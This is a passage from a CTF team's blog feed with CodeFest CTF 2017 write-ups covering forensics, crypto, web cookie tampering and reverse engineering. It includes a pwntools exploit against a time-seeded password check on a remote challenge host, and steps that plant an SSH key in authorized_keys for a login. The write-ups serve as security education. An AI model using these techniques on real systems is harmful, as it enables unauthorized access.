</span></span><span style="display:flex;"><span>    pg.explore(avoid=avoid, find=end, n=<span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">len</span>(pg.found) &gt; <span style="color:#d0bf69">0</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#d0a8ff">print</span>
</span></span><span style="display:flex;"><span>        <span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34;Reached the target&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#d0a8ff">print</span> pg
</span></span><span style="display:flex;"><span>        state = pg.found[<span style="color:#d0bf69">0</span>].state
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        flag = <span style="color:#fc6a5d">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">for</span> a in argv:
</span></span><span style="display:flex;"><span>            flag += state.se.any_str(a)[<span style="color:#d0bf69">0</span>]
</span></span><span style="display:flex;"><span>        <span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34;FLAG: &#34;</span> + flag
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34;Memory usage: &#34;</span> + <span style="color:#d0a8ff">str</span>(resource.getrusage(resource.RUSAGE_SELF).ru_maxrss / <span style="color:#d0bf69">1024</span>) + <span style="color:#fc6a5d">&#34; MB&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34;Elapsed time: &#34;</span> + <span style="color:#d0a8ff">str</span>(time.time() - start_time)
</span></span></code></pre></div>]]></content></item><item><title>CodeFest CTF 2017 - Anonymous Recruitment Writeup</title><link>https://theromanxpl0.it/posts/2017/09/codefest-ctf-2017-anonymous-recruitment-writeup/</link><pubDate>Sun, 24 Sep 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/09/codefest-ctf-2017-anonymous-recruitment-writeup/</guid><description>&lt;p>This is the page we see when we access the service:&lt;/p>
&lt;img class="img-responsive" src="https://theromanxpl0.it/codefest17/cookie-1.png" alt="Signup form with username and password fields" width="603" height="258">
&lt;p>Going through the page cookies, I found this:&lt;/p>
&lt;img class="img-responsive" src="https://theromanxpl0.it/codefest17/cookie-2.png" alt="Screenshot of cookie named 'flag' with true value" width="603" height="60">
&lt;p>I tried to set the &lt;em>flag&lt;/em> cookie to &lt;em>False&lt;/em> and send the form.
As a result, the old form is replaced by the following:&lt;/p>
&lt;img class="img-responsive" src="https://theromanxpl0.it/codefest17/cookie-3.png" alt="Modified signup form with username as 'root'" width="603" height="476">
&lt;p>After several tries, I found out that the correct username was &lt;em>root&lt;/em>.&lt;/p></description><content type="html"><![CDATA[<p>This is the page we see when we access the service:</p>
<img class="img-responsive" src="/codefest17/cookie-1.png" alt="Signup form with username and password fields" width="603" height="258">
<p>Going through the page cookies, I found this:</p>
<img class="img-responsive" src="/codefest17/cookie-2.png" alt="Screenshot of cookie named 'flag' with true value" width="603" height="60">
<p>I tried to set the <em>flag</em> cookie to <em>False</em> and send the form.
As a result, the old form is replaced by the following:</p>
<img class="img-responsive" src="/codefest17/cookie-3.png" alt="Modified signup form with username as 'root'" width="603" height="476">
<p>After several tries, I found out that the correct username was <em>root</em>.</p>
<p>I sent the form again:</p>
<img class="img-responsive" src="/codefest17/cookie-6.png" alt="Submitted form with username as 'root'" width="603" height="465">
<p>In the list of cookies, I now see this:</p>
<img class="img-responsive" src="/codefest17/cookie-4.png" alt="Screenshot of 'pass' cookie containing MD5 hash" width="603" height="75">
<p>The values of the <em>pass</em> cookie is an md5 hash for the word <em>aunty</em>.
I type it as a password, and I find out it&rsquo;s the flag:</p>
<img class="img-responsive" src="/codefest17/cookie-5.png" alt="Page displaying flag after entering correct password" width="603" height="118">
]]></content></item><item><title>CodeFest CTF 2017 - Lost in Translation Writeup</title><link>https://theromanxpl0.it/posts/2017/09/codefest-ctf-2017-lost-in-translation-writeup/</link><pubDate>Sat, 23 Sep 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/09/codefest-ctf-2017-lost-in-translation-writeup/</guid><description>&lt;p>Listening to the file audio you can hear a clock.&lt;/p>
&lt;p>Let&amp;rsquo;s open it with Audacity and check if there&amp;rsquo;s something.&lt;/p>
&lt;img class="img-responsive" src="https://theromanxpl0.it/codefest17/kappa.png" alt="Audio waveform in Audacity of audio file with clock sounds" width="603" height="132">
&lt;p>Apparently nothing.&lt;/p>
&lt;p>But zooming in you can notice some irregualrities in the sound waves.&lt;/p>
&lt;img class="img-responsive" src="https://theromanxpl0.it/codefest17/kappa2.png" alt="Zoomed in view of audio waveform showing irregularities" width="603" height="48">
&lt;p>First thing I can think of is morse code&lt;/p>
&lt;p>By decoding it we obtain the flag.&lt;/p>
&lt;p>-&amp;gt; &lt;code>flag{h014_p33p5}&lt;/code>&lt;/p></description><content type="html"><![CDATA[<p>Listening to the file audio you can hear a clock.</p>
<p>Let&rsquo;s open it with Audacity and check if there&rsquo;s something.</p>
<img class="img-responsive" src="/codefest17/kappa.png" alt="Audio waveform in Audacity of audio file with clock sounds" width="603" height="132">
<p>Apparently nothing.</p>
<p>But zooming in you can notice some irregualrities in the sound waves.</p>
<img class="img-responsive" src="/codefest17/kappa2.png" alt="Zoomed in view of audio waveform showing irregularities" width="603" height="48">
<p>First thing I can think of is morse code</p>
<p>By decoding it we obtain the flag.</p>
<p>-&gt; <code>flag{h014_p33p5}</code></p>
]]></content></item><item><title>CodeFest CTF 2017 - Ricks' Secure Scheme Writeup</title><link>https://theromanxpl0.it/posts/2017/09/codefest-ctf-2017-ricks-secure-scheme-writeup/</link><pubDate>Sat, 23 Sep 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/09/codefest-ctf-2017-ricks-secure-scheme-writeup/</guid><description>&lt;h2 id="capture-united-states---ricks-secure-scheme">Capture United States - Ricks’ Secure Scheme&lt;/h2>
&lt;img class="img-responsive" src="https://theromanxpl0.it/codefest17/USA-1.png" alt="Screenshot of service menu showing login option and usage logs" width="603" height="286">
&lt;p>The schwifty_service that runs under the port 10987 of the addressed server presents us a menu interface with some options given:&lt;/p>
&lt;pre tabindex="0">&lt;code>1. Login with the password (*)
2. View the secret contents (#).
3. View the usage logs.
4. Exit.
* =&amp;gt; It’s theoretically impossible that you can login
# =&amp;gt; Requires login.
&lt;/code>&lt;/pre>&lt;p>To view the secret content we must login first.&lt;/p></description><content type="html"><![CDATA[<h2 id="capture-united-states---ricks-secure-scheme">Capture United States - Ricks’ Secure Scheme</h2>
<img class="img-responsive" src="/codefest17/USA-1.png" alt="Screenshot of service menu showing login option and usage logs" width="603" height="286">
<p>The schwifty_service that runs under the port 10987 of the addressed server presents us a menu interface with some options given:</p>
<pre tabindex="0"><code>1. Login with the password (*)
2. View the secret contents (#).
3. View the usage logs.
4. Exit.
* =&gt; It’s theoretically impossible that you can login
# =&gt; Requires login.
</code></pre><p>To view the secret content we must login first.</p>
<p>At first let&rsquo;s search the login procedure in IDA Pro. Decompiling the code in the only function called by main, we can find:</p>
<img class="img-responsive" src="/codefest17/USA-2.png" alt="Screenshot of decompiled function calling sub_400A26()" width="603" height="244">
<p>So let&rsquo;s go have a look at <code>sub_400A26</code></p>
<img class="img-responsive" src="/codefest17/USA-3.png" alt="Screenshot of sub_400A26() decryption function using time() and rand()" width="603" height="389">
<p>This function looks like a decryption function! We can notice that it initializes the random seed with <code>time()</code> and then xores the first 34 chars of the password with the random value obtained each time with <code>rand()</code>.</p>
<p>The decrypted password is then passed to the <code>strncmp</code> function, against the bytes at address 400E60</p>
<p>At that address there are <code>bytes = [0x33, 0x12, 0x46, 0x67, 0xF6, 0x2B, 0x5A, 0x2E, 0x5B, 0x7E, 0xD6, 0xF7, 0xA2, 0x33, 0xD5, 0x7A, 0x87, 0x39, 0x5F, 0x92, 0x73, 0xF5, 0xB1, 0xA5, 0x81, 0xB0, 0x6A, 0x84, 0x38, 0xCD, 0x9B, 0xEA, 0x99, 0xDA]</code> followed by the string <code>'Welcome to my...\x00'</code></p>
<p>So how can we pass the check? If we could obtain the same seed and then xor the <code>bytes</code> with the same pseudo-random sequence, then we will have a string, that, when re-xored in the function, will produce the original bytes!
Fortunately the <code>time()</code> function has a granularity of 1 second, so we have this whole second to compute the string and pass it to the server.</p>
<p>Let&rsquo;s make a script:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> pwn <span style="color:#fc5fa3">import</span> *
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> ctypes
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> hashlib
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>libc = ctypes.CDLL(<span style="color:#fc6a5d">&#34;libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>passwd = [<span style="color:#d0bf69">0x33</span>, <span style="color:#d0bf69">0x12</span>, <span style="color:#d0bf69">0x46</span>, <span style="color:#d0bf69">0x67</span>, <span style="color:#d0bf69">0xF6</span>, <span style="color:#d0bf69">0x2B</span>, <span style="color:#d0bf69">0x5A</span>, <span style="color:#d0bf69">0x2E</span>, <span style="color:#d0bf69">0x5B</span>, <span style="color:#d0bf69">0x7E</span>,
</span></span><span style="display:flex;"><span><span style="color:#d0bf69">0xD6</span>, <span style="color:#d0bf69">0xF7</span>, <span style="color:#d0bf69">0xA2</span>, <span style="color:#d0bf69">0x33</span>, <span style="color:#d0bf69">0xD5</span>, <span style="color:#d0bf69">0x7A</span>, <span style="color:#d0bf69">0x87</span>, <span style="color:#d0bf69">0x39</span>, <span style="color:#d0bf69">0x5F</span>, <span style="color:#d0bf69">0x92</span>, <span style="color:#d0bf69">0x73</span>, <span style="color:#d0bf69">0xF5</span>,
</span></span><span style="display:flex;"><span> <span style="color:#d0bf69">0xB1</span>, <span style="color:#d0bf69">0xA5</span>, <span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0xB0</span>, <span style="color:#d0bf69">0x6A</span>, <span style="color:#d0bf69">0x84</span>, <span style="color:#d0bf69">0x38</span>, <span style="color:#d0bf69">0xCD</span>, <span style="color:#d0bf69">0x9B</span>, <span style="color:#d0bf69">0xEA</span>, <span style="color:#d0bf69">0x99</span>, <span style="color:#d0bf69">0xDA</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">genPassword</span>(time):
</span></span><span style="display:flex;"><span>    libc.srand(time)
</span></span><span style="display:flex;"><span>    s = <span style="color:#fc6a5d">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> i in xrange(<span style="color:#d0bf69">34</span>):
</span></span><span style="display:flex;"><span>        s += <span style="color:#d0a8ff">chr</span>(passwd[i] ^ (libc.rand() % <span style="color:#d0bf69">255</span>))
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>s = genPassword(<span style="color:#d0bf69">1505768803</span>) + <span style="color:#fc6a5d">&#39;Welcome to my...</span><span style="color:#fc6a5d">\x00</span><span style="color:#fc6a5d">&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> s
</span></span><span style="display:flex;"><span>quit()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#p = process(&#34;./schwifty_service&#34;)</span>
</span></span><span style="display:flex;"><span>p = remote(<span style="color:#fc6a5d">&#34;13.126.83.119&#34;</span>,<span style="color:#d0bf69">10987</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> <span style="color:#fc5fa3">True</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> p.readuntil(<span style="color:#fc6a5d">&#34;Requires login.&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    p.sendline(<span style="color:#fc6a5d">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> p.readuntil(<span style="color:#fc6a5d">&#34;Enter the password: &#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    s = genPassword(libc.time(<span style="color:#d0bf69">0</span>))
</span></span><span style="display:flex;"><span>    s+= <span style="color:#fc6a5d">&#39;Welcome to my...</span><span style="color:#fc6a5d">\x00</span><span style="color:#fc6a5d">&#39;</span> <span style="color:#6c7986">#REMEMBER TO CONCATENATE THE REST OF THE STRING</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    p.sendline(s)
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34;[] password sended&#34;</span>, s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    l = p.readline()
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> l
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> l == <span style="color:#fc6a5d">&#34;I told you you couldn&#39;t login!</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">continue</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>p.interactive()
</span></span></code></pre></div><p>With <code>import ctypes</code> we are sure that we are using the same implementation of <code>rand()</code> as the libc to get the same sequence.</p>
<p>Let&rsquo;s run it, and&hellip; It works!</p>
<pre tabindex="0"><code>What?!?!?! How?!!!! Anyway, you&#39;ve successfully logged in!
</code></pre><p>Printing the secret will give us an epoch integer, and the md5 of that integer will give us the flag!</p>
<pre tabindex="0"><code>flag{c51edda648c6949638488457f32874d6}
</code></pre>]]></content></item><item><title>CodeFest CTF 2017 - Russia Writeup</title><link>https://theromanxpl0.it/posts/2017/09/codefest-ctf-2017-russia-writeup/</link><pubDate>Sat, 23 Sep 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/09/codefest-ctf-2017-russia-writeup/</guid><description>&lt;h3 id="private-keys">Private Keys&lt;/h3>
&lt;p>Reading the source file we understand that the &lt;code>private_key&lt;/code> and the &lt;code>public_key&lt;/code> are one of the prime numbers generated by &lt;code>valid_primes_sieve()&lt;/code>. They are also greater than &lt;code>(d+1)*max_input = 11 * 255&lt;/code>.&lt;/p>
&lt;p>We can compute the list of all the valid private keys.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span> candidates = [prime &lt;span style="color:#fc5fa3">for&lt;/span> prime in valid_primes_sieve().values() &lt;span style="color:#fc5fa3">if&lt;/span> prime &amp;gt; (d+&lt;span style="color:#d0bf69">1&lt;/span>)*max_input]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d0a8ff">print&lt;/span>(&lt;span style="color:#d0a8ff">len&lt;/span>(candidates)) &lt;span style="color:#6c7986"># prints 30&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Because &lt;code>private_key&lt;/code> and &lt;code>public_key&lt;/code> are different, we only need to try 29.&lt;/p>
&lt;h3 id="first-step-modular-arithmetics">First Step: modular arithmetics&lt;/h3>
&lt;p>The first step of the encryption algorithm is to compute &lt;code>(priv_key*(d+1)*x)%(pub_key)&lt;/code> for each &lt;code>x&lt;/code> in the input.
In order to reverse this step&lt;sup>&lt;a href="#proof">[1]&lt;/a>&lt;/sup> we need the &lt;a href="https://en.wikipedia.org/wiki/Modular_multiplicative_inverse">modular multiplicative inverse &lt;strong>mmi&lt;/strong>&lt;/a> of &lt;code>priv_key*(d+1)&lt;/code> modulo &lt;code>pub_key&lt;/code>.&lt;/p></description><content type="html"><![CDATA[<h3 id="private-keys">Private Keys</h3>
<p>Reading the source file we understand that the <code>private_key</code> and the <code>public_key</code> are one of the prime numbers generated by <code>valid_primes_sieve()</code>. They are also greater than <code>(d+1)*max_input = 11 * 255</code>.</p>
<p>We can compute the list of all the valid private keys.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>    candidates = [prime <span style="color:#fc5fa3">for</span> prime in valid_primes_sieve().values() <span style="color:#fc5fa3">if</span> prime &gt; (d+<span style="color:#d0bf69">1</span>)*max_input]
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span>(<span style="color:#d0a8ff">len</span>(candidates)) <span style="color:#6c7986"># prints 30</span>
</span></span></code></pre></div><p>Because <code>private_key</code> and <code>public_key</code> are different, we only need to try 29.</p>
<h3 id="first-step-modular-arithmetics">First Step: modular arithmetics</h3>
<p>The first step of the encryption algorithm is to compute <code>(priv_key*(d+1)*x)%(pub_key)</code> for each <code>x</code> in the input.
In order to reverse this step<sup><a href="#proof">[1]</a></sup> we need the <a href="https://en.wikipedia.org/wiki/Modular_multiplicative_inverse">modular multiplicative inverse <strong>mmi</strong></a> of <code>priv_key*(d+1)</code> modulo <code>pub_key</code>.</p>
<p>We compute an inverse key for each candidate <code>private_key</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>    inverse_keys = [mmi(candidate*(d+<span style="color:#d0bf69">1</span>), public_key) <span style="color:#fc5fa3">for</span> candidate in candidates <span style="color:#fc5fa3">if</span> candidate != public_key]
</span></span></code></pre></div><h3 id="second-step-random-salt">Second Step: random salt</h3>
<p>In the second step a random integer in [1, 3] is added to each value of the cypher text.
Since the cypher text is 11 values long, there are only 3<sup>11</sup> = 177147 possible combinations, few enough to try them all.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> s0 in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">1</span>, <span style="color:#d0bf69">4</span>):
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">for</span> s1 in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">1</span>, <span style="color:#d0bf69">4</span>):
</span></span><span style="display:flex;"><span>            ...
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">for</span> s10 in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">1</span>, <span style="color:#d0bf69">4</span>):
</span></span><span style="display:flex;"><span>                reverse([s0, s1, s2, s3, s4, s5, s6, s7, s8, s9, s10])
</span></span></code></pre></div><p>Where reverse is</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">reverse</span>(salt):
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> inverse_key in inverse_keys:
</span></span><span style="display:flex;"><span>        plain_text = [((inverse_key * (ciphter_text[i] - salt[i])) % public_key) <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0a8ff">len</span>(cipher_text))]
</span></span><span style="display:flex;"><span>        respects_limits = <span style="color:#fc5fa3">True</span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">for</span> value in plain_text:
</span></span><span style="display:flex;"><span>            respects_limits = respects_limits and (value &lt; <span style="color:#d0bf69">256</span> and value &gt;= <span style="color:#d0bf69">2</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> respects_limits:
</span></span><span style="display:flex;"><span>            <span style="color:#d0a8ff">print</span>(mmi(inverse_key, pk)/<span style="color:#d0bf69">11</span>)
</span></span></code></pre></div><h2 id="proof">Proof</h2>
<p>Let</p>
<ul>
<li><code>vk = private_key</code></li>
<li><code>ik = inverse_key</code></li>
<li><code>pk = public_key</code></li>
</ul>
<p>Given that</p>
<ol>
<li><code>(vk*(d+1) * ik) % pk = 1</code> for definition of <strong>mmi</strong></li>
<li><code>(vk*(d+1)*x) * ik % pk = (vk*(d+1)*ik) * x % pk</code> for commutativity of the multiplication</li>
</ol>
<p>It follows that <code>((vk*(d+1)*x) * ik) % pk = 1 * x % pk = x % pk</code></p>
]]></content></item><item><title>CodeFest CTF 2017 - SimplyBlack Writeup</title><link>https://theromanxpl0.it/posts/2017/09/codefest-ctf-2017-simplyblack-writeup/</link><pubDate>Sat, 23 Sep 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/09/codefest-ctf-2017-simplyblack-writeup/</guid><description>&lt;p>A black image.&lt;/p>
&lt;p>By playing around with the brighness and contrast settings in GIMP we can clearly see the secret&lt;/p>
&lt;img class="img-responsive" src="https://theromanxpl0.it/codefest17/simplyblack.png" alt="Modified black image revealing flag in white text" width="603" height="245">
&lt;p>-&amp;gt; &lt;code>flag{LETHAL}&lt;/code>&lt;/p></description><content type="html"><![CDATA[<p>A black image.</p>
<p>By playing around with the brighness and contrast settings in GIMP we can clearly see the secret</p>
<img class="img-responsive" src="/codefest17/simplyblack.png" alt="Modified black image revealing flag in white text" width="603" height="245">
<p>-&gt; <code>flag{LETHAL}</code></p>
]]></content></item><item><title>CodeFest CTF 2017 - Suzy's Fun Login Writeup</title><link>https://theromanxpl0.it/posts/2017/09/codefest-ctf-2017-suzys-fun-login-writeup/</link><pubDate>Sat, 23 Sep 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/09/codefest-ctf-2017-suzys-fun-login-writeup/</guid><description>&lt;p>Connecting to the remote service we can see that the response is random:&lt;/p>
&lt;img class="img-responsive" src="https://theromanxpl0.it/codefest17/germany-1.png" alt="Screenshot showing random server response" width="567" height="320">
&lt;p>Whats? It&amp;rsquo;s time to open Ida.
In the main function we can see a lot of rubbish, so we locate the interesting function using the Xref of the string &lt;code>Do you want to play? (Y/N?): &lt;/code>.&lt;/p>
&lt;p>This is the decompiled function:&lt;/p>
&lt;img class="img-responsive" src="https://theromanxpl0.it/codefest17/germany-2.png" alt="Screenshot of decompiled function checking for sub_40877C() function" width="361" height="471">
&lt;p>We can see that the program behaviour is conditionated by the procedure sub_40877C, that supposedly has a side effect on the variable v7.&lt;/p></description><content type="html"><![CDATA[<p>Connecting to the remote service we can see that the response is random:</p>
<img class="img-responsive" src="/codefest17/germany-1.png" alt="Screenshot showing random server response" width="567" height="320">
<p>Whats? It&rsquo;s time to open Ida.
In the main function we can see a lot of rubbish, so we locate the interesting function using the Xref of the string <code>Do you want to play? (Y/N?): </code>.</p>
<p>This is the decompiled function:</p>
<img class="img-responsive" src="/codefest17/germany-2.png" alt="Screenshot of decompiled function checking for sub_40877C() function" width="361" height="471">
<p>We can see that the program behaviour is conditionated by the procedure sub_40877C, that supposedly has a side effect on the variable v7.</p>
<p>Analyze them.</p>
<img class="img-responsive" src="/codefest17/germany-3.png" alt="Screenshot of sub_40877C() function writing random numbers to array" width="343" height="369">
<p>Ok, it&rsquo;s simple, it writes three random numbers in range(0, 3) in the array passed as argument.</p>
<p>Returning to the previous function we see that this three numbers mus be, in order, 0 1 2.</p>
<p>We can brute force it.</p>
<img class="img-responsive" src="/codefest17/germany-4.png" alt="Screenshot showing brute forcing random numbers to be 012" width="603" height="388">
<p>Now it&rsquo;s time to know the content of dest variable, the name of the file in which the program will write our bet.</p>
<p>Viewing the global variable src it is an array of three pointer to the strings <code>/home/suzy</code>, <code>.ssh</code>, <code>authorized_keys</code>.</p>
<img class="img-responsive" src="/codefest17/germany-5.png" alt="Screenshot showing src array containing filename components" width="515" height="164">
<p>Ok, now we have all info to solve the challenge.</p>
<p><code>~/.ssh/authorized_keys</code> is the file in which a server store all authorized public ssh keys, so we must pass an ssh public key as input.</p>
<p>With <code>ssh-keygen -t rsa -b 1024</code> we generate our key (1024 because fgets read at most 398 bytes).</p>
<p>Now copy the content of the public key (it is like <code>ssh-rsa AAAA...otherbase64chars... yourusername@localhost.localdomain</code>) and try to insert it until you get the response <code>You won the lottery, but were you smart enough to make the right bets?</code>.</p>
<p>Congratulations, you have inserted the key on the server.</p>
<p>Now type in the terminal <code>ssh -i private_key_file suzy@13.126.83.119</code> (suzy is the remote user that we found hardcoded in the binary).</p>
<p>You are logged in, navigate the filesystem and get your flag.</p>
<p>-&gt; <code>flag{wowyouknowyourexecutables}</code></p>
]]></content></item><item><title>CodeFest CTF 2017 - The Eights Writeup</title><link>https://theromanxpl0.it/posts/2017/09/codefest-ctf-2017-the-eights-writeup/</link><pubDate>Sat, 23 Sep 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/09/codefest-ctf-2017-the-eights-writeup/</guid><description>&lt;p>Another PNG this time with a black and white squares pattern.&lt;/p>
&lt;p>Again a contrast and brightness trick.&lt;/p>
&lt;img class="img-responsive" src="https://theromanxpl0.it/codefest17/dots.png" alt="Modified black and white image revealing ASCII characters" width="603" height="357">
&lt;p>This time we encounter a strange pattern.
If we think of the pure black parts as 0 and the black and white ones as 1 we get some binary code for each line.&lt;/p>
&lt;table class="table">
&lt;thead>
&lt;tr>
&lt;th>Bin&lt;/th>
&lt;th>Hex&lt;/th>
&lt;th>ASCII&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>01010100&lt;/td>
&lt;td>0x54&lt;/td>
&lt;td>T&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>01001000&lt;/td>
&lt;td>0x48&lt;/td>
&lt;td>H&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>01000101&lt;/td>
&lt;td>0x45&lt;/td>
&lt;td>E&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>01000011&lt;/td>
&lt;td>0x43&lt;/td>
&lt;td>C&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>01001111&lt;/td>
&lt;td>0x4f&lt;/td>
&lt;td>O&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>01000100&lt;/td>
&lt;td>0x44&lt;/td>
&lt;td>D&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>01000101&lt;/td>
&lt;td>0x45&lt;/td>
&lt;td>E&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>01010010&lt;/td>
&lt;td>0x52&lt;/td>
&lt;td>R&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>and it repeats itself.&lt;/p></description><content type="html"><![CDATA[<p>Another PNG this time with a black and white squares pattern.</p>
<p>Again a contrast and brightness trick.</p>
<img class="img-responsive" src="/codefest17/dots.png" alt="Modified black and white image revealing ASCII characters" width="603" height="357">
<p>This time we encounter a strange pattern.
If we think of the pure black parts as 0 and the black and white ones as 1 we get some binary code for each line.</p>
<table class="table">
    <thead>
        <tr>
            <th>Bin</th>
            <th>Hex</th>
            <th>ASCII</th>
        </tr>
    </thead>
    <tbody>
        <tr>
            <td>01010100</td>
            <td>0x54</td>
            <td>T</td>
        </tr>
        <tr>
            <td>01001000</td>
            <td>0x48</td>
            <td>H</td>
        </tr>
        <tr>
            <td>01000101</td>
            <td>0x45</td>
            <td>E</td>
        </tr>
        <tr>
            <td>01000011</td>
            <td>0x43</td>
            <td>C</td>
        </tr>
        <tr>
            <td>01001111</td>
            <td>0x4f</td>
            <td>O</td>
        </tr>
        <tr>
            <td>01000100</td>
            <td>0x44</td>
            <td>D</td>
        </tr>
        <tr>
            <td>01000101</td>
            <td>0x45</td>
            <td>E</td>
        </tr>
        <tr>
            <td>01010010</td>
            <td>0x52</td>
            <td>R</td>
        </tr>
    </tbody>
</table>
<p>and it repeats itself.</p>
<p>-&gt; <code>flag{THECODER}</code></p>
]]></content></item><item><title>Dump and analysis of exec only binary in Linux</title><link>https://theromanxpl0.it/posts/2017/09/dump-and-analysis-of-exec-only-binary-in-linux/</link><pubDate>Sat, 23 Sep 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/09/dump-and-analysis-of-exec-only-binary-in-linux/</guid><description>&lt;style>
.responsive-wrap iframe { max-width: 100%;}
&lt;/style>
&lt;div class="responsive-wrap">
